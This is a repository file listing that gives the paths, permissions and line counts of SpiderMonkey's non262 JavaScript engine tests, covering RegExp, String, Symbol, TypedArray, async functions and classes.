-rw-r--r--js/src/tests/non262/RegExp/regress-375715-02.js24
-rw-r--r--js/src/tests/non262/RegExp/regress-375715-03.js24
-rw-r--r--js/src/tests/non262/RegExp/regress-375715-04.js32
-rw-r--r--js/src/tests/non262/RegExp/regress-429241.js200
-rw-r--r--js/src/tests/non262/RegExp/regress-436700.js31
-rw-r--r--js/src/tests/non262/RegExp/regress-465862.js80
-rw-r--r--js/src/tests/non262/RegExp/regress-57572.js114
-rw-r--r--js/src/tests/non262/RegExp/regress-57631.js115
-rw-r--r--js/src/tests/non262/RegExp/regress-576828.js8
-rw-r--r--js/src/tests/non262/RegExp/regress-613820-1.js9
-rw-r--r--js/src/tests/non262/RegExp/regress-613820-2.js9
-rw-r--r--js/src/tests/non262/RegExp/regress-613820-3.js9
-rw-r--r--js/src/tests/non262/RegExp/regress-617935.js42
-rw-r--r--js/src/tests/non262/RegExp/regress-6359.js52
-rw-r--r--js/src/tests/non262/RegExp/regress-67773.js175
-rw-r--r--js/src/tests/non262/RegExp/regress-72964.js85
-rw-r--r--js/src/tests/non262/RegExp/regress-76683.js78
-rw-r--r--js/src/tests/non262/RegExp/regress-78156.js87
-rw-r--r--js/src/tests/non262/RegExp/regress-85721.js243
-rw-r--r--js/src/tests/non262/RegExp/regress-87231.js109
-rw-r--r--js/src/tests/non262/RegExp/regress-9141.js71
-rw-r--r--js/src/tests/non262/RegExp/regress-98306.js63
-rw-r--r--js/src/tests/non262/RegExp/regress-yarr-regexp.js18
-rw-r--r--js/src/tests/non262/RegExp/replace-compile-elembase.js22
-rw-r--r--js/src/tests/non262/RegExp/replace-compile.js21
-rw-r--r--js/src/tests/non262/RegExp/replace-global-unicode.js18
-rw-r--r--js/src/tests/non262/RegExp/replace-local-tolength-lastindex.js22
-rw-r--r--js/src/tests/non262/RegExp/replace-local-tolength-recompilation.js75
-rw-r--r--js/src/tests/non262/RegExp/replace-sticky-lastIndex.js23
-rw-r--r--js/src/tests/non262/RegExp/replace-sticky.js21
-rw-r--r--js/src/tests/non262/RegExp/replace-this.js12
-rw-r--r--js/src/tests/non262/RegExp/replace-trace.js309
-rw-r--r--js/src/tests/non262/RegExp/replace-twoBytes.js44
-rw-r--r--js/src/tests/non262/RegExp/replace.js34
-rw-r--r--js/src/tests/non262/RegExp/search-this.js12
-rw-r--r--js/src/tests/non262/RegExp/search-trace.js78
-rw-r--r--js/src/tests/non262/RegExp/search.js26
-rw-r--r--js/src/tests/non262/RegExp/shell.js256
-rw-r--r--js/src/tests/non262/RegExp/source.js29
-rw-r--r--js/src/tests/non262/RegExp/split-deleted-flags.js11
-rw-r--r--js/src/tests/non262/RegExp/split-flags-on-obj.js21
-rw-r--r--js/src/tests/non262/RegExp/split-invalid-lastIndex.js31
-rw-r--r--js/src/tests/non262/RegExp/split-limit.js14
-rw-r--r--js/src/tests/non262/RegExp/split-obj.js12
-rw-r--r--js/src/tests/non262/RegExp/split-prop-access.js19
-rw-r--r--js/src/tests/non262/RegExp/split-this.js12
-rw-r--r--js/src/tests/non262/RegExp/split-trace.js229
-rw-r--r--js/src/tests/non262/RegExp/split.js30
-rw-r--r--js/src/tests/non262/RegExp/sticky.js126
-rw-r--r--js/src/tests/non262/RegExp/test-emptyMatch.js23
-rw-r--r--js/src/tests/non262/RegExp/test-trailing.js31
-rw-r--r--js/src/tests/non262/RegExp/toString.js42
-rw-r--r--js/src/tests/non262/RegExp/unicode-back-reference.js39
-rw-r--r--js/src/tests/non262/RegExp/unicode-braced.js166
-rw-r--r--js/src/tests/non262/RegExp/unicode-character-class-escape.js75
-rw-r--r--js/src/tests/non262/RegExp/unicode-class-braced.js236
-rw-r--r--js/src/tests/non262/RegExp/unicode-class-empty.js25
-rw-r--r--js/src/tests/non262/RegExp/unicode-class-ignoreCase.js28
-rw-r--r--js/src/tests/non262/RegExp/unicode-class-lead-trail.js142
-rw-r--r--js/src/tests/non262/RegExp/unicode-class-negated.js64
-rw-r--r--js/src/tests/non262/RegExp/unicode-class-range.js28
-rw-r--r--js/src/tests/non262/RegExp/unicode-class-raw.js65
-rw-r--r--js/src/tests/non262/RegExp/unicode-disallow-extended.js139
-rw-r--r--js/src/tests/non262/RegExp/unicode-everything.js59
-rw-r--r--js/src/tests/non262/RegExp/unicode-ignoreCase-ascii.js45
-rw-r--r--js/src/tests/non262/RegExp/unicode-ignoreCase-escape.js71
-rw-r--r--js/src/tests/non262/RegExp/unicode-ignoreCase-negated.js19
-rw-r--r--js/src/tests/non262/RegExp/unicode-ignoreCase-word-boundary.js46
-rw-r--r--js/src/tests/non262/RegExp/unicode-ignoreCase.js2821
-rw-r--r--js/src/tests/non262/RegExp/unicode-index.js17
-rw-r--r--js/src/tests/non262/RegExp/unicode-lead-trail.js218
-rw-r--r--js/src/tests/non262/RegExp/unicode-raw.js139
-rw-r--r--js/src/tests/non262/RegExp/yflag.js85
-rw-r--r--js/src/tests/non262/Scope/browser.js0
-rw-r--r--js/src/tests/non262/Scope/regress-154693.js64
-rw-r--r--js/src/tests/non262/Scope/regress-181834.js146
-rw-r--r--js/src/tests/non262/Scope/regress-184107.js90
-rw-r--r--js/src/tests/non262/Scope/regress-185485.js126
-rw-r--r--js/src/tests/non262/Scope/regress-191276.js91
-rw-r--r--js/src/tests/non262/Scope/regress-192226.js88
-rw-r--r--js/src/tests/non262/Scope/regress-202678-001.js99
-rw-r--r--js/src/tests/non262/Scope/regress-202678-002.js100
-rw-r--r--js/src/tests/non262/Scope/regress-208496-001.js137
-rw-r--r--js/src/tests/non262/Scope/regress-208496-002.js129
-rw-r--r--js/src/tests/non262/Scope/regress-220362.js79
-rw-r--r--js/src/tests/non262/Scope/regress-446026-01.js51
-rw-r--r--js/src/tests/non262/Scope/regress-446026-02.js27
-rw-r--r--js/src/tests/non262/Scope/regress-77578-001.js114
-rw-r--r--js/src/tests/non262/Scope/scope-002.js105
-rw-r--r--js/src/tests/non262/Scope/scope-003.js106
-rw-r--r--js/src/tests/non262/Scope/scope-004.js188
-rw-r--r--js/src/tests/non262/Scope/shell.js0
-rw-r--r--js/src/tests/non262/Script/browser.js0
-rw-r--r--js/src/tests/non262/Script/delete-001.js46
-rw-r--r--js/src/tests/non262/Script/function-002.js42
-rw-r--r--js/src/tests/non262/Script/in-001.js33
-rw-r--r--js/src/tests/non262/Script/new-001.js79
-rw-r--r--js/src/tests/non262/Script/shell.js0
-rw-r--r--js/src/tests/non262/Script/switch-001.js48
-rw-r--r--js/src/tests/non262/Set/NaN-as-key.js56
-rw-r--r--js/src/tests/non262/Set/browser.js0
-rw-r--r--js/src/tests/non262/Set/forEach-selfhosted-behavior.js51
-rw-r--r--js/src/tests/non262/Set/getter-name.js10
-rw-r--r--js/src/tests/non262/Set/iterator-thisv-error.js22
-rw-r--r--js/src/tests/non262/Set/non-iterable-error.js10
-rw-r--r--js/src/tests/non262/Set/shell.js0
-rw-r--r--js/src/tests/non262/Set/symbols.js27
-rw-r--r--js/src/tests/non262/String/15.5.4.11-01.js66
-rw-r--r--js/src/tests/non262/String/15.5.4.2.js14
-rw-r--r--js/src/tests/non262/String/15.5.4.7.js20
-rw-r--r--js/src/tests/non262/String/AdvanceStringIndex.js43
-rw-r--r--js/src/tests/non262/String/IsRegExp.js24
-rw-r--r--js/src/tests/non262/String/at.js40
-rw-r--r--js/src/tests/non262/String/browser.js0
-rw-r--r--js/src/tests/non262/String/codePointAt.js84
-rw-r--r--js/src/tests/non262/String/defaultvalue.js169
-rw-r--r--js/src/tests/non262/String/fromCodePoint.js60
-rw-r--r--js/src/tests/non262/String/internalUsage.js30
-rw-r--r--js/src/tests/non262/String/iterator_edge_cases.js27
-rw-r--r--js/src/tests/non262/String/lastIndexOf-ToNumber-when-searchStr-larger-than-string.js22
-rw-r--r--js/src/tests/non262/String/make-normalize-generateddata-input.py88
-rw-r--r--js/src/tests/non262/String/match-001.js104
-rw-r--r--js/src/tests/non262/String/match-002.js172
-rw-r--r--js/src/tests/non262/String/match-003.js130
-rw-r--r--js/src/tests/non262/String/match-004.js172
-rw-r--r--js/src/tests/non262/String/match-GetMethod.js29
-rw-r--r--js/src/tests/non262/String/match-defines-match-elements.js47
-rw-r--r--js/src/tests/non262/String/match-forward-lookahead.js27
-rw-r--r--js/src/tests/non262/String/match-throws-nonwritable-lastIndex-global.js88
-rw-r--r--js/src/tests/non262/String/match-updates-global-lastIndex.js31
-rw-r--r--js/src/tests/non262/String/match.js31
-rw-r--r--js/src/tests/non262/String/matchAll.js288
-rw-r--r--js/src/tests/non262/String/normalize-form-non-atom.js18
-rw-r--r--js/src/tests/non262/String/normalize-generateddata-input.js18866
-rw-r--r--js/src/tests/non262/String/normalize-generateddata-part0.js22
-rw-r--r--js/src/tests/non262/String/normalize-generateddata-part1-not-listed.js38
-rw-r--r--js/src/tests/non262/String/normalize-generateddata-part1.js22
-rw-r--r--js/src/tests/non262/String/normalize-generateddata-part2.js22
-rw-r--r--js/src/tests/non262/String/normalize-generateddata-part3.js22
-rw-r--r--js/src/tests/non262/String/normalize-generic.js20
-rw-r--r--js/src/tests/non262/String/normalize-parameter.js19
-rw-r--r--js/src/tests/non262/String/normalize-rope.js23
-rw-r--r--js/src/tests/non262/String/raw.js55
-rw-r--r--js/src/tests/non262/String/regress-104375.js79
-rw-r--r--js/src/tests/non262/String/regress-107771.js88
-rw-r--r--js/src/tests/non262/String/regress-112626.js18
-rw-r--r--js/src/tests/non262/String/regress-179068.js122
-rw-r--r--js/src/tests/non262/String/regress-189898.js120
-rw-r--r--js/src/tests/non262/String/regress-304376.js34
-rw-r--r--js/src/tests/non262/String/regress-305064.js154
-rw-r--r--js/src/tests/non262/String/regress-313567.js23
-rw-r--r--js/src/tests/non262/String/regress-369778.js29
-rw-r--r--js/src/tests/non262/String/regress-392378.js41
-rw-r--r--js/src/tests/non262/String/regress-83293.js179
-rw-r--r--js/src/tests/non262/String/replace-GetMethod.js24
-rw-r--r--js/src/tests/non262/String/replace-flags.js25
-rw-r--r--js/src/tests/non262/String/replace-math.js38
-rw-r--r--js/src/tests/non262/String/replace-rope-empty.js30
-rw-r--r--js/src/tests/non262/String/replace-throws-nonwritable-lastIndex-global.js126
-rw-r--r--js/src/tests/non262/String/replace-updates-global-lastIndex.js38
-rw-r--r--js/src/tests/non262/String/replace.js19
-rw-r--r--js/src/tests/non262/String/replaceAll.js215
-rw-r--r--js/src/tests/non262/String/ropes.js58
-rw-r--r--js/src/tests/non262/String/search-GetMethod.js24
-rw-r--r--js/src/tests/non262/String/search.js27
-rw-r--r--js/src/tests/non262/String/shell.js59
-rw-r--r--js/src/tests/non262/String/split-01.js47
-rw-r--r--js/src/tests/non262/String/split-GetMethod.js24
-rw-r--r--js/src/tests/non262/String/split-order.js22
-rw-r--r--js/src/tests/non262/String/split-undefined-separator.js37
-rw-r--r--js/src/tests/non262/String/split-xregexp.js118
-rw-r--r--js/src/tests/non262/String/split.js19
-rw-r--r--js/src/tests/non262/String/string-code-point-upper-lower-mapping.js460
-rw-r--r--js/src/tests/non262/String/string-object-length.js19
-rw-r--r--js/src/tests/non262/String/string-pad-start-end.js99
-rw-r--r--js/src/tests/non262/String/string-space-trim.js42
-rw-r--r--js/src/tests/non262/String/string-upper-lower-mapping.js65557
-rw-r--r--js/src/tests/non262/String/thisv-error.js51
-rw-r--r--js/src/tests/non262/String/unicode-braced.js64
-rw-r--r--js/src/tests/non262/String/utf8-encode.js179
-rw-r--r--js/src/tests/non262/Symbol/as-base-value.js87
-rw-r--r--js/src/tests/non262/Symbol/browser.js0
-rw-r--r--js/src/tests/non262/Symbol/comparisons.js34
-rw-r--r--js/src/tests/non262/Symbol/constructor.js35
-rw-r--r--js/src/tests/non262/Symbol/conversions.js89
-rw-r--r--js/src/tests/non262/Symbol/enumeration-order.js40
-rw-r--r--js/src/tests/non262/Symbol/enumeration.js52
-rw-r--r--js/src/tests/non262/Symbol/equality.js30
-rw-r--r--js/src/tests/non262/Symbol/errors.js17
-rw-r--r--js/src/tests/non262/Symbol/for-in-order.js33
-rw-r--r--js/src/tests/non262/Symbol/for.js31
-rw-r--r--js/src/tests/non262/Symbol/json-stringify-keys.js19
-rw-r--r--js/src/tests/non262/Symbol/json-stringify-values.js33
-rw-r--r--js/src/tests/non262/Symbol/keyFor.js15
-rw-r--r--js/src/tests/non262/Symbol/property-accessor.js39
-rw-r--r--js/src/tests/non262/Symbol/property-basics.js44
-rw-r--r--js/src/tests/non262/Symbol/property-inheritance.js50
-rw-r--r--js/src/tests/non262/Symbol/property-nonwritable.js31
-rw-r--r--js/src/tests/non262/Symbol/property-reflection.js136
-rw-r--r--js/src/tests/non262/Symbol/realms.js36
-rw-r--r--js/src/tests/non262/Symbol/shell.js0
-rw-r--r--js/src/tests/non262/Symbol/species.js30
-rw-r--r--js/src/tests/non262/Symbol/surfaces.js34
-rw-r--r--js/src/tests/non262/Symbol/symbol-object-not-unboxed-for-value-to-id.js31
-rw-r--r--js/src/tests/non262/Symbol/toPrimitive-undefined-or-null.js18
-rw-r--r--js/src/tests/non262/Symbol/toPrimitive.js39
-rw-r--r--js/src/tests/non262/Symbol/toString.js27
-rw-r--r--js/src/tests/non262/Symbol/toStringTag.js155
-rw-r--r--js/src/tests/non262/Symbol/typed-arrays.js17
-rw-r--r--js/src/tests/non262/Symbol/typeof.js11
-rw-r--r--js/src/tests/non262/Symbol/valueOf.js22
-rw-r--r--js/src/tests/non262/Symbol/well-known.js42
-rw-r--r--js/src/tests/non262/TypedArray/Tconstructor-fromTypedArray-byteLength.js17
-rw-r--r--js/src/tests/non262/TypedArray/at.js49
-rw-r--r--js/src/tests/non262/TypedArray/browser.js0
-rw-r--r--js/src/tests/non262/TypedArray/bug1526838.js8
-rw-r--r--js/src/tests/non262/TypedArray/constructor-ArrayBuffer-species-wrap.js63
-rw-r--r--js/src/tests/non262/TypedArray/constructor-ArrayBuffer-species.js51
-rw-r--r--js/src/tests/non262/TypedArray/constructor-buffer-sequence.js230
-rw-r--r--js/src/tests/non262/TypedArray/constructor-byteoffsets-bounds.js34
-rw-r--r--js/src/tests/non262/TypedArray/constructor-iterable-generator.js16
-rw-r--r--js/src/tests/non262/TypedArray/constructor-iterable-modified-array-iterator-next.js28
-rw-r--r--js/src/tests/non262/TypedArray/constructor-iterable-modified-array-iterator.js28
-rw-r--r--js/src/tests/non262/TypedArray/constructor-iterable-nonpacked-array.js17
-rw-r--r--js/src/tests/non262/TypedArray/constructor-iterable-not-callable.js15
-rw-r--r--js/src/tests/non262/TypedArray/constructor-iterable-packed-array-side-effect.js17
-rw-r--r--js/src/tests/non262/TypedArray/constructor-iterable-packed-array.js16
-rw-r--r--js/src/tests/non262/TypedArray/constructor-iterable-undefined-or-null.js22
-rw-r--r--js/src/tests/non262/TypedArray/constructor-iterator-primitive.js29
-rw-r--r--js/src/tests/non262/TypedArray/constructor-length-too-large.js30
-rw-r--r--js/src/tests/non262/TypedArray/constructor-non-detached.js13
-rw-r--r--js/src/tests/non262/TypedArray/constructor-not-callable.js10
-rw-r--r--js/src/tests/non262/TypedArray/constructor-typedarray-species-other-global.js89
-rw-r--r--js/src/tests/non262/TypedArray/constructor-undefined-args.js14
-rw-r--r--js/src/tests/non262/TypedArray/constructor_bad-args.js13
-rw-r--r--js/src/tests/non262/TypedArray/detached-array-buffer-checks.js107
-rw-r--r--js/src/tests/non262/TypedArray/element-setting-converts-using-ToNumber.js91
-rw-r--r--js/src/tests/non262/TypedArray/entries.js38
-rw-r--r--js/src/tests/non262/TypedArray/every-and-some.js249
-rw-r--r--js/src/tests/non262/TypedArray/fill-detached.js36
-rw-r--r--js/src/tests/non262/TypedArray/fill.js65
-rw-r--r--js/src/tests/non262/TypedArray/filter-species.js56
-rw-r--r--js/src/tests/non262/TypedArray/filter-validation.js185
-rw-r--r--js/src/tests/non262/TypedArray/find-and-findIndex.js52
-rw-r--r--js/src/tests/non262/TypedArray/forEach.js93
-rw-r--r--js/src/tests/non262/TypedArray/from-iterable-validation.js140
-rw-r--r--js/src/tests/non262/TypedArray/from-non-iterable-validation.js140
-rw-r--r--js/src/tests/non262/TypedArray/from_basics.js42
-rw-r--r--js/src/tests/non262/TypedArray/from_constructor.js36
-rw-r--r--js/src/tests/non262/TypedArray/from_errors.js76
-rw-r--r--js/src/tests/non262/TypedArray/from_iterable.js49
-rw-r--r--js/src/tests/non262/TypedArray/from_mapping.js45
-rw-r--r--js/src/tests/non262/TypedArray/from_realms.js32
-rw-r--r--js/src/tests/non262/TypedArray/from_string.js24
-rw-r--r--js/src/tests/non262/TypedArray/from_surfaces.js12
-rw-r--r--js/src/tests/non262/TypedArray/from_this.js59
-rw-r--r--js/src/tests/non262/TypedArray/from_typedarray_fastpath_detached.js10
-rw-r--r--js/src/tests/non262/TypedArray/getter-name.js16
-rw-r--r--js/src/tests/non262/TypedArray/has-property-op.js22
-rw-r--r--js/src/tests/non262/TypedArray/includes.js40
-rw-r--r--js/src/tests/non262/TypedArray/indexOf-and-lastIndexOf.js123
-rw-r--r--js/src/tests/non262/TypedArray/indexOf-never-returns-negative-zero.js7
-rw-r--r--js/src/tests/non262/TypedArray/iterator-next-with-detached.js73
-rw-r--r--js/src/tests/non262/TypedArray/iterator.js42
-rw-r--r--js/src/tests/non262/TypedArray/join.js48
-rw-r--r--js/src/tests/non262/TypedArray/keys.js36
-rw-r--r--js/src/tests/non262/TypedArray/lastIndexOf-never-returns-negative-zero.js7
-rw-r--r--js/src/tests/non262/TypedArray/length.js14
-rw-r--r--js/src/tests/non262/TypedArray/map-and-filter.js274
-rw-r--r--js/src/tests/non262/TypedArray/map-species.js56
-rw-r--r--js/src/tests/non262/TypedArray/map-validation.js149
-rw-r--r--js/src/tests/non262/TypedArray/object-defineproperty.js68
-rw-r--r--js/src/tests/non262/TypedArray/of-validation.js140
-rw-r--r--js/src/tests/non262/TypedArray/of.js92
-rw-r--r--js/src/tests/non262/TypedArray/prototype-constructor-identity.js55
-rw-r--r--js/src/tests/non262/TypedArray/reduce-and-reduceRight.js188
-rw-r--r--js/src/tests/non262/TypedArray/reverse.js38
-rw-r--r--js/src/tests/non262/TypedArray/seal-and-freeze.js49
-rw-r--r--js/src/tests/non262/TypedArray/set-detached-bigint.js19
-rw-r--r--js/src/tests/non262/TypedArray/set-detached.js240
-rw-r--r--js/src/tests/non262/TypedArray/set-negative-offset.js35
-rw-r--r--js/src/tests/non262/TypedArray/set-same-buffer-different-source-target-types.js41
-rw-r--r--js/src/tests/non262/TypedArray/set-tointeger.js95
-rw-r--r--js/src/tests/non262/TypedArray/set-toobject.js53
-rw-r--r--js/src/tests/non262/TypedArray/set-with-receiver.js28
-rw-r--r--js/src/tests/non262/TypedArray/set-wrapped.js81
-rw-r--r--js/src/tests/non262/TypedArray/set.js21
-rw-r--r--js/src/tests/non262/TypedArray/shell.js114
-rw-r--r--js/src/tests/non262/TypedArray/slice-bitwise.js153
-rw-r--r--js/src/tests/non262/TypedArray/slice-conversion.js515
-rw-r--r--js/src/tests/non262/TypedArray/slice-detached.js103
-rw-r--r--js/src/tests/non262/TypedArray/slice-memcpy.js84
-rw-r--r--js/src/tests/non262/TypedArray/slice-species.js49
-rw-r--r--js/src/tests/non262/TypedArray/slice-validation.js194
-rw-r--r--js/src/tests/non262/TypedArray/slice.js45
-rw-r--r--js/src/tests/non262/TypedArray/sort-negative-nan.js106
-rw-r--r--js/src/tests/non262/TypedArray/sort-non-function.js22
-rw-r--r--js/src/tests/non262/TypedArray/sort_basics.js73
-rw-r--r--js/src/tests/non262/TypedArray/sort_byteoffset.js30
-rw-r--r--js/src/tests/non262/TypedArray/sort_comparators.js32
-rw-r--r--js/src/tests/non262/TypedArray/sort_compare_nan.js12
-rw-r--r--js/src/tests/non262/TypedArray/sort_errors.js87
-rw-r--r--js/src/tests/non262/TypedArray/sort_globals.js9
-rw-r--r--js/src/tests/non262/TypedArray/sort_small.js38
-rw-r--r--js/src/tests/non262/TypedArray/sort_snans.js79
-rw-r--r--js/src/tests/non262/TypedArray/sort_sorted.js30
-rw-r--r--js/src/tests/non262/TypedArray/sort_stable.js23
-rw-r--r--js/src/tests/non262/TypedArray/sorting_buffer_access.js15
-rw-r--r--js/src/tests/non262/TypedArray/subarray-species.js63
-rw-r--r--js/src/tests/non262/TypedArray/subarray-validation.js117
-rw-r--r--js/src/tests/non262/TypedArray/subarray.js29
-rw-r--r--js/src/tests/non262/TypedArray/test-integrity-level-detached.js104
-rw-r--r--js/src/tests/non262/TypedArray/test-integrity-level.js67
-rw-r--r--js/src/tests/non262/TypedArray/toLocaleString-detached.js38
-rw-r--r--js/src/tests/non262/TypedArray/toLocaleString-nointl.js40
-rw-r--r--js/src/tests/non262/TypedArray/toLocaleString.js80
-rw-r--r--js/src/tests/non262/TypedArray/toString.js69
-rw-r--r--js/src/tests/non262/TypedArray/toStringTag-cross-compartment.js12
-rw-r--r--js/src/tests/non262/TypedArray/uint8clamped-constructor.js9
-rw-r--r--js/src/tests/non262/TypedArray/values.js37
-rw-r--r--js/src/tests/non262/TypedArray/write-out-of-bounds-tonumber.js60
-rw-r--r--js/src/tests/non262/Unicode/browser.js0
-rw-r--r--js/src/tests/non262/Unicode/non-bmp-non-spaces.js60
-rw-r--r--js/src/tests/non262/Unicode/regress-352044-01.js36
-rw-r--r--js/src/tests/non262/Unicode/regress-352044-02-n.js36
-rw-r--r--js/src/tests/non262/Unicode/shell.js0
-rw-r--r--js/src/tests/non262/Unicode/uc-001-n.js23
-rw-r--r--js/src/tests/non262/Unicode/uc-002-n.js14
-rw-r--r--js/src/tests/non262/Unicode/uc-002.js21
-rw-r--r--js/src/tests/non262/Unicode/uc-003.js27
-rw-r--r--js/src/tests/non262/Unicode/uc-004.js26
-rw-r--r--js/src/tests/non262/Unicode/uc-005.js239
-rw-r--r--js/src/tests/non262/WeakMap/browser.js0
-rw-r--r--js/src/tests/non262/WeakMap/shell.js0
-rw-r--r--js/src/tests/non262/WeakMap/symbols.js10
-rw-r--r--js/src/tests/non262/arrow-functions/arrow-not-as-end-of-statement.js188
-rw-r--r--js/src/tests/non262/arrow-functions/arrow-returning-arrow-with-block-body-followed-by-regexp.js15
-rw-r--r--js/src/tests/non262/arrow-functions/browser.js0
-rw-r--r--js/src/tests/non262/arrow-functions/shell.js0
-rw-r--r--js/src/tests/non262/arrow-functions/yield-in-arrow.js77
-rw-r--r--js/src/tests/non262/async-functions/BoundNames.js21
-rw-r--r--js/src/tests/non262/async-functions/EarlyErrors.js51
-rw-r--r--js/src/tests/non262/async-functions/ErrorStack.js103
-rw-r--r--js/src/tests/non262/async-functions/arguments_callee.js31
-rw-r--r--js/src/tests/non262/async-functions/async-contains-unicode-escape.js54
-rw-r--r--js/src/tests/non262/async-functions/async-function-declaration-in-modules.js13
-rw-r--r--js/src/tests/non262/async-functions/async-property-name-error.js21
-rw-r--r--js/src/tests/non262/async-functions/await-error.js16
-rw-r--r--js/src/tests/non262/async-functions/await-in-arrow-parameters.js94
-rw-r--r--js/src/tests/non262/async-functions/await-in-parameters-of-async-func.js67
-rw-r--r--js/src/tests/non262/async-functions/await-newline.js15
-rw-r--r--js/src/tests/non262/async-functions/browser.js0
-rw-r--r--js/src/tests/non262/async-functions/clone.js19
-rw-r--r--js/src/tests/non262/async-functions/construct-newtarget.js79
-rw-r--r--js/src/tests/non262/async-functions/constructor.js33
-rw-r--r--js/src/tests/non262/async-functions/cover-init-name-syntax.js65
-rw-r--r--js/src/tests/non262/async-functions/create-function-parse-before-getprototype.js19
-rw-r--r--js/src/tests/non262/async-functions/duplicate-__proto__.js22
-rw-r--r--js/src/tests/non262/async-functions/forbidden-as-consequent.js14
-rw-r--r--js/src/tests/non262/async-functions/identity.js14
-rw-r--r--js/src/tests/non262/async-functions/inner-caller.js17
-rw-r--r--js/src/tests/non262/async-functions/length.js12
-rw-r--r--js/src/tests/non262/async-functions/methods.js61
-rw-r--r--js/src/tests/non262/async-functions/no-expression-closure.js17
-rw-r--r--js/src/tests/non262/async-functions/properties.js76
-rw-r--r--js/src/tests/non262/async-functions/property.js49
-rw-r--r--js/src/tests/non262/async-functions/semantics.js169
-rw-r--r--js/src/tests/non262/async-functions/shell.js0
-rw-r--r--js/src/tests/non262/async-functions/subclass.js31
-rw-r--r--js/src/tests/non262/async-functions/syntax-arrow.js104
-rw-r--r--js/src/tests/non262/async-functions/syntax-modules.js31
-rw-r--r--js/src/tests/non262/async-functions/syntax.js83
-rw-r--r--js/src/tests/non262/async-functions/toSource.js26
-rw-r--r--js/src/tests/non262/async-functions/toString.js24
-rw-r--r--js/src/tests/non262/async-functions/yield.js71
-rw-r--r--js/src/tests/non262/browser.js0
-rw-r--r--js/src/tests/non262/class/boundFunctionSubclassing.js37
-rw-r--r--js/src/tests/non262/class/browser.js0
-rw-r--r--js/src/tests/non262/class/bytecodePatternMatching.js29
-rw-r--r--js/src/tests/non262/class/classConstructorNoCall.js21
-rw-r--r--js/src/tests/non262/class/classHeritage.js97
-rw-r--r--js/src/tests/non262/class/className.js248
-rw-r--r--js/src/tests/non262/class/classPrototype.js65
-rw-r--r--js/src/tests/non262/class/compPropDestr.js11
-rw-r--r--js/src/tests/non262/class/compPropNames.js243
-rw-r--r--js/src/tests/non262/class/constructorCalled.js45
-rw-r--r--js/src/tests/non262/class/defaultConstructorBase.js18
-rw-r--r--js/src/tests/non262/class/defaultConstructorDerivedSpread.js19
-rw-r--r--js/src/tests/non262/class/defaultConstructorNotCallable.js8
-rw-r--r--js/src/tests/non262/class/derivedConstructorArrowEvalBinding.js12
-rw-r--r--js/src/tests/non262/class/derivedConstructorArrowEvalClosed.js11
-rw-r--r--js/src/tests/non262/class/derivedConstructorArrowEvalEscape.js13
-rw-r--r--js/src/tests/non262/class/derivedConstructorArrowEvalEscapeUninitialized.js38
-rw-r--r--js/src/tests/non262/class/derivedConstructorArrowEvalGetThis.js10
-rw-r--r--js/src/tests/non262/class/derivedConstructorArrowEvalNestedSuperCall.js34
-rw-r--r--js/src/tests/non262/class/derivedConstructorArrowEvalSuperCall.js18
-rw-r--r--js/src/tests/non262/class/derivedConstructorInlining.js19
-rw-r--r--js/src/tests/non262/class/derivedConstructorName.js11
-rw-r--r--js/src/tests/non262/class/derivedConstructorReturnPrimitive.js15
-rw-r--r--js/src/tests/non262/class/derivedConstructorTDZExplicitThis.js12
-rw-r--r--js/src/tests/non262/class/derivedConstructorTDZOffEdge.js11
-rw-r--r--js/src/tests/non262/class/derivedConstructorTDZReturnAliasedTry.js14
-rw-r--r--js/src/tests/non262/class/derivedConstructorTDZReturnObject.js13
-rw-r--r--js/src/tests/non262/class/derivedConstructorTDZReturnTry.js16
-rw-r--r--js/src/tests/non262/class/derivedConstructorTDZReturnUndefined.js13
-rw-r--r--js/src/tests/non262/class/extendBuiltinConstructors.js110
-rw-r--r--js/src/tests/non262/class/fields-instance-class-name-binding-eval.js40
-rw-r--r--js/src/tests/non262/class/fields-instance-class-name-binding.js40
-rw-r--r--js/src/tests/non262/class/fields-static-class-name-binding-eval.js59
-rw-r--r--js/src/tests/non262/class/fields-static-class-name-binding.js59
-rw-r--r--js/src/tests/non262/class/geterNoExprClosure.js20
-rw-r--r--js/src/tests/non262/class/innerBinding.js86
-rw-r--r--js/src/tests/non262/class/member-expr-after-super.js44
-rw-r--r--js/src/tests/non262/class/methDefn.js204
-rw-r--r--js/src/tests/non262/class/methDefnGen.js83
-rw-r--r--js/src/tests/non262/class/method-named-static.js56
-rw-r--r--js/src/tests/non262/class/methodInstallation.js101
-rw-r--r--js/src/tests/non262/class/methodName.js40
-rw-r--r--js/src/tests/non262/class/methodOverwrites.js80
-rw-r--r--js/src/tests/non262/class/methodsPrototype.js39
-rw-r--r--js/src/tests/non262/class/newTargetArgumentsIntact.js44
-rw-r--r--js/src/tests/non262/class/newTargetArrow.js24
-rw-r--r--js/src/tests/non262/class/newTargetBound.js16
-rw-r--r--js/src/tests/non262/class/newTargetCCW.js10
-rw-r--r--js/src/tests/non262/class/newTargetDVG.js7
-rw-r--r--js/src/tests/non262/class/newTargetDefaults.js25
-rw-r--r--js/src/tests/non262/class/newTargetDirectInvoke.js50
-rw-r--r--js/src/tests/non262/class/newTargetEval.js40
-rw-r--r--js/src/tests/non262/class/newTargetGenerators.js14
-rw-r--r--js/src/tests/non262/class/newTargetMethods.js51
-rw-r--r--js/src/tests/non262/class/newTargetNonFunction.js10
-rw-r--r--js/src/tests/non262/class/newTargetProxyNative.js5
-rw-r--r--js/src/tests/non262/class/outerBinding.js48
-rw-r--r--js/src/tests/non262/class/parenExprToString.js8
-rw-r--r--js/src/tests/non262/class/shell.js10
-rw-r--r--js/src/tests/non262/class/staticConstructor.js22
-rw-r--r--js/src/tests/non262/class/staticMethods.js15
-rw-r--r--js/src/tests/non262/class/strictExecution.js38
-rw-r--r--js/src/tests/non262/class/stringConstructor.js12
-rw-r--r--js/src/tests/non262/class/subclassedArrayUnboxed.js22
-rw-r--r--js/src/tests/non262/class/superCallBadDynamicSuperClass.js12
-rw-r--r--js/src/tests/non262/class/superCallBadNewTargetPrototype.js25
-rw-r--r--js/src/tests/non262/class/superCallBaseInvoked.js55
-rw-r--r--js/src/tests/non262/class/superCallIllegal.js7
-rw-r--r--js/src/tests/non262/class/superCallInvalidBase.js9
-rw-r--r--js/src/tests/non262/class/superCallOrder.js28
-rw-r--r--js/src/tests/non262/class/superCallProperBase.js34
-rw-r--r--js/src/tests/non262/class/superCallSpreadCall.js27
-rw-r--r--js/src/tests/non262/class/superCallThisInit.js48
-rw-r--r--js/src/tests/non262/class/superElemDelete.js68
-rw-r--r--js/src/tests/non262/class/superPropBasicCalls.js27
-rw-r--r--js/src/tests/non262/class/superPropBasicChain.js11
